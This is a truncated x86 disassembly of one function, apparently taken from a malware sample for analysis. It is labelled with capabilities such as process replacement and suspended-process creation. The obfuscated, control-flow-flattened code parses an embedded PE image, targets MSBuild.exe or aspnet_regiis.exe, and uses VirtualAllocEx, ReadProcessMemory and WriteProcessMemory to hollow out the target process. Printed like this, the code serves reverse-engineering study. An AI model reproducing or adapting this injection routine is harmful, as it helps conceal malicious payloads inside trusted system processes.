Function at 0x10002380
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x140
mov eax, dword [0x10062c00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x148], 0xcd84f155
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x14c], eax
sub eax, 0x83cf8c2c
je 0x10004851
jmp 0x100023bc
mov eax, dword [ebp - 0x14c]
sub eax, 0x85fe9671
je 0x10004781
jmp 0x100023d2
mov eax, dword [ebp - 0x14c]
sub eax, 0x878cdea4
je 0x10003d95
jmp 0x100023e8
mov eax, dword [ebp - 0x14c]
sub eax, 0x8864867e
je 0x10003824
jmp 0x100023fe
mov eax, dword [ebp - 0x14c]
sub eax, 0x890dec24
je 0x10004d43
jmp 0x10002414
mov eax, dword [ebp - 0x14c]
sub eax, 0x89491b3c
je 0x1000491f
jmp 0x1000242a
mov eax, dword [ebp - 0x14c]
sub eax, 0x8e002066
je 0x100046c2
jmp 0x10002440
mov eax, dword [ebp - 0x14c]
sub eax, 0x8ee6e461
je 0x100047c1
jmp 0x10002456
mov eax, dword [ebp - 0x14c]
sub eax, 0x9034fe6d
je 0x10003c84
jmp 0x1000246c
mov eax, dword [ebp - 0x14c]
sub eax, 0x937ff4d1
je 0x10003ba1
jmp 0x10002482
mov eax, dword [ebp - 0x14c]
sub eax, 0x939922b2
je 0x10004e1f
jmp 0x10002498
mov eax, dword [ebp - 0x14c]
sub eax, 0x93a2c345
je 0x10004aa5
jmp 0x100024ae
mov eax, dword [ebp - 0x14c]
sub eax, 0x95ec9bb4
je 0x1000432d
jmp 0x100024c4
mov eax, dword [ebp - 0x14c]
sub eax, 0x962f481d
je 0x1000305b
jmp 0x100024da
mov eax, dword [ebp - 0x14c]
sub eax, 0x966380ae
je 0x100045d6
jmp 0x100024f0
mov eax, dword [ebp - 0x14c]
sub eax, 0x975fb5c4
je 0x100048a9
jmp 0x10002506
mov eax, dword [ebp - 0x14c]
sub eax, 0x97d3e5a8
je 0x10003c75
jmp 0x1000251c
mov eax, dword [ebp - 0x14c]
sub eax, 0x998146f1
je 0x10003525
jmp 0x10002532
mov eax, dword [ebp - 0x14c]
sub eax, 0x9a4385ec
je 0x1000429e
jmp 0x10002548
mov eax, dword [ebp - 0x14c]
sub eax, 0x9b789241
je 0x10004e79
jmp 0x1000255e
mov eax, dword [ebp - 0x14c]
sub eax, 0x9beff9c8
je 0x10004b5c
jmp 0x10002574
mov eax, dword [ebp - 0x14c]
sub eax, 0x9fb07eb9
je 0x100033ee
jmp 0x1000258a
mov eax, dword [ebp - 0x14c]
sub eax, 0xa2fcca48
je 0x1000489a
jmp 0x100025a0
mov eax, dword [ebp - 0x14c]
sub eax, 0xa358269a
je 0x10004399
jmp 0x100025b6
mov eax, dword [ebp - 0x14c]
sub eax, 0xa6761881
je 0x10004d2e
jmp 0x100025cc
mov eax, dword [ebp - 0x14c]
sub eax, 0xa7cbe2e4
je 0x10003a10
jmp 0x100025e2
mov eax, dword [ebp - 0x14c]
sub eax, 0xb15b82e0
je 0x10004014
jmp 0x100025f8
mov eax, dword [ebp - 0x14c]
sub eax, 0xb19d169e
je 0x10004255
jmp 0x1000260e
mov eax, dword [ebp - 0x14c]
sub eax, 0xb2c0ad3a
je 0x10003cf2
jmp 0x10002624
mov eax, dword [ebp - 0x14c]
sub eax, 0xb316cb2d
je 0x10002fd6
jmp 0x1000263a
mov eax, dword [ebp - 0x14c]
sub eax, 0xb48073ef
je 0x10003e78
jmp 0x10002650
mov eax, dword [ebp - 0x14c]
sub eax, 0xb696d13b
je 0x1000317c
jmp 0x10002666
mov eax, dword [ebp - 0x14c]
sub eax, 0xb98efa23
je 0x10004560
jmp 0x1000267c
mov eax, dword [ebp - 0x14c]
sub eax, 0xba8b8917
je 0x10004a6f
jmp 0x10002692
mov eax, dword [ebp - 0x14c]
sub eax, 0xbc3fd5fb
je 0x1000343c
jmp 0x100026a8
mov eax, dword [ebp - 0x14c]
sub eax, 0xbe59111c
je 0x10004e3a
jmp 0x100026be
mov eax, dword [ebp - 0x14c]
sub eax, 0xc3e6844a
je 0x1000310e
jmp 0x100026d4
mov eax, dword [ebp - 0x14c]
sub eax, 0xc517c707
je 0x10004ba7
jmp 0x100026ea
mov eax, dword [ebp - 0x14c]
sub eax, 0xc720a6ac
je 0x10003ed5
jmp 0x10002700
mov eax, dword [ebp - 0x14c]
sub eax, 0xc74d1033
je 0x10004c50
jmp 0x10002716
mov eax, dword [ebp - 0x14c]
sub eax, 0xc8c4f1e9
je 0x10003e0a
jmp 0x1000272c
mov eax, dword [ebp - 0x14c]
sub eax, 0xc9aa6a17
je 0x100037c4
jmp 0x10002742
mov eax, dword [ebp - 0x14c]
sub eax, 0xc9bb81bc
je 0x10003382
jmp 0x10002758
mov eax, dword [ebp - 0x14c]
sub eax, 0xca22a6fb
je 0x10004204
jmp 0x1000276e
mov eax, dword [ebp - 0x14c]
sub eax, 0xca5bcb04
je 0x100030bd
jmp 0x10002784
mov eax, dword [ebp - 0x14c]
sub eax, 0xcc8bd12d
je 0x100045c7
jmp 0x1000279a
mov eax, dword [ebp - 0x14c]
sub eax, 0xcd84f155
je 0x10002e69
jmp 0x100027b0
mov eax, dword [ebp - 0x14c]
sub eax, 0xd0125f9c
je 0x10003ddb
jmp 0x100027c6
mov eax, dword [ebp - 0x14c]
sub eax, 0xd0a8573e
je 0x100042bf
jmp 0x100027dc
mov eax, dword [ebp - 0x14c]
sub eax, 0xd25fc70c
je 0x10003dea
jmp 0x100027f2
mov eax, dword [ebp - 0x14c]
sub eax, 0xd8e93869
je 0x1000324a
jmp 0x10002808
mov eax, dword [ebp - 0x14c]
sub eax, 0xd8f52fab
je 0x10003b0b
jmp 0x1000281e
mov eax, dword [ebp - 0x14c]
sub eax, 0xd97dcf71
je 0x10003b92
jmp 0x10002834
mov eax, dword [ebp - 0x14c]
sub eax, 0xda599029
je 0x100047db
jmp 0x1000284a
mov eax, dword [ebp - 0x14c]
sub eax, 0xda6e6274
je 0x100035c5
jmp 0x10002860
mov eax, dword [ebp - 0x14c]
sub eax, 0xdbad4f66
je 0x100044fd
jmp 0x10002876
mov eax, dword [ebp - 0x14c]
sub eax, 0xdbc13674
je 0x1000323b
jmp 0x1000288c
mov eax, dword [ebp - 0x14c]
sub eax, 0xde01129e
je 0x10002f53
jmp 0x100028a2
mov eax, dword [ebp - 0x14c]
sub eax, 0xdffb06fb
je 0x1000388c
jmp 0x100028b8
mov eax, dword [ebp - 0x14c]
sub eax, 0xe07aad0d
je 0x10003aa2
jmp 0x100028ce
mov eax, dword [ebp - 0x14c]
sub eax, 0xe16cd742
je 0x10004104
jmp 0x100028e4
mov eax, dword [ebp - 0x14c]
sub eax, 0xe3cc5d0c
je 0x1000309c
jmp 0x100028fa
mov eax, dword [ebp - 0x14c]
sub eax, 0xe6a4da96
je 0x10004189
jmp 0x10002910
mov eax, dword [ebp - 0x14c]
sub eax, 0xececbbde
je 0x100039bf
jmp 0x10002926
mov eax, dword [ebp - 0x14c]
sub eax, 0xf1afabb8
je 0x1000389b
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49c00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
movzx eax, word [eax]
cmp eax, 0x5a4d
sete al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0x148], 0xde01129e
jmp 0x10004f78
mov dl, byte [ebp - 0xf1]
mov eax, 0xc517c707
mov ecx, 0xc16c7a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov edx, dword [ebp - 0xe8]
mov eax, 0x4b29907b
mov ecx, 0x1ca68050
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0xe4]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x141], al
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov al, byte [ebp - 0x141]
mov byte [ebp - 0xdd], al
mov dword [ebp - 0x148], 0xe3cc5d0c
jmp 0x10004f78
mov dl, byte [ebp - 0xdd]
mov eax, 0xca5bcb04
mov ecx, 0xd8e93869
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x9a77b0b8
sub edx, 1
add edx, 0x9a77b0b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a5a42cd
mov ecx, 0xc3e6844a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x134]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x34253ad6
sub edx, 1
add edx, 0x34253ad6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7a5a42cd
mov ecx, 0x14ab7863
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x59558496
sub edx, 1
add edx, 0x59558496
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1d6afa53
mov ecx, 0x7f3dcc29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0xd8e93869
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
add edx, 0x47e4f7fe
sub edx, 1
sub edx, 0x47e4f7fe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ef03d14
mov ecx, 0x5b056d0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov edx, dword [ebp - 0xdc]
mov eax, 0x5c10bbc5
mov ecx, 0x7c4f2ebe
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x93a2c345
mov ecx, 0x112c150b
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0xd8]
sub esp, 4
mov dword [esp], eax
call fcn.10001f50
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x140]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x124]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x12c]
mov eax, 0x6654d696
mov ecx, 0x6c3781e9
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0x24]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0x6654d696
jmp 0x10004f78
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x91dca130
sub edx, 1
add edx, 0x91dca130
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc74d1033
mov ecx, 0x3aa0d8a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0x4bc2df41
jmp 0x10004f78
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc5], al
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6761881
mov ecx, 0xdffb06fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0xf1afabb8
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x624d17aa
sub edx, 1
add edx, 0x624d17aa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x890dec24
mov ecx, 0xa7cbe2e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
mov edx, ecx
sub edx, 0x739839a5
sub edx, 1
add edx, 0x739839a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x890dec24
mov ecx, 0xe07aad0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0xfb500a82
jmp 0x10004f78
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x14
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x148], 0x3c4769bd
jmp 0x10004f78
mov dword [ebp - 0x148], 0x937ff4d1
jmp 0x10004f78
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x148], 0xfda9df86
jmp 0x10004f78
mov dword [ebp - 0x148], 0x4bc2df41
jmp 0x10004f78
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x148], 0x10c79e55
jmp 0x10004f78
mov eax, dword [ebp - 0xa0]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x99], al
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfbc7de8a
mov ecx, 0x1a3c000
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x148], 0x277d0e75
jmp 0x10004f78
mov dword [ebp - 0x148], 0xd25fc70c
jmp 0x10004f78
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x148], 0xc8c4f1e9
jmp 0x10004f78
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc6a6cb0
mov ecx, 0xb48073ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x94]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc6a6cb0
mov ecx, 0xc720a6ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dl, byte [ebp - 0x8d]
mov eax, 0xda599029
mov ecx, 0x53fb8b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0xf2e6311e
jmp 0x10004f78
mov dword [ebp - 0x148], 0x1a0b8f27
jmp 0x10004f78
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x108]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x85], al
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0xb01b8b30
sub edx, 1
add edx, 0xb01b8b30
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x939922b2
mov ecx, 0x274f44d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x34cffe57
sub edx, 1
add edx, 0x34cffe57
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe59111c
mov ecx, 0xb19d169e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbe59111c
mov ecx, 0x9a4385ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dl, byte [ebp - 0x85]
mov eax, 0xfbe87500
mov ecx, 0xd0a8573e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x50ff3b6f
mov ecx, 0x95ec9bb4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x100]
mov ecx, dword [ecx]
shl ecx, 1
add eax, ecx
mov dword [ebp - 0x84], eax
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x5ad041ed
sub edx, 1
add edx, 0x5ad041ed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x50ff3b6f
mov ecx, 0xa358269a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0xda4c29f
jmp 0x10004f78
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7845d31c
mov ecx, 0x40af3784
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0xf8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x7c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x148], 0xcc8bd12d
jmp 0x10004f78
mov dword [ebp - 0x148], 0x966380ae
jmp 0x10004f78
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9b789241
mov ecx, 0xfb01e877
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
add edx, 0x7c9dcbb7
sub edx, 1
sub edx, 0x7c9dcbb7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf67a81f4
mov ecx, 0x79013afb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0x1a0b8f27
jmp 0x10004f78
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xd25fc70c
jmp 0x10004f78
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
mov edx, ecx
add edx, 0xe5533492
sub edx, 1
sub edx, 0xe5533492
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x72c480e6
mov ecx, 0x83cf8c2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72c480e6
mov ecx, 0xa2fcca48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov dword [ebp - 0x148], 0x975fb5c4
jmp 0x10004f78
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
mov edx, ecx
add edx, 0x8415bca4
sub edx, 1
sub edx, 0x8415bca4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2e32e99
mov ecx, 0x89491b3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x140]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx + 0xa4]
sub ecx, 0xcb8548ab
add ecx, 8
add ecx, 0xcb8548ab
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
add ecx, 0xf8eb6903
add ecx, 8
sub ecx, 0xf8eb6903
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x12c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x24]
add eax, 4
mov dword [ebp - 0x70], eax
mov ecx, dword [0x10063f38]
mov eax, dword [0x10063f34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
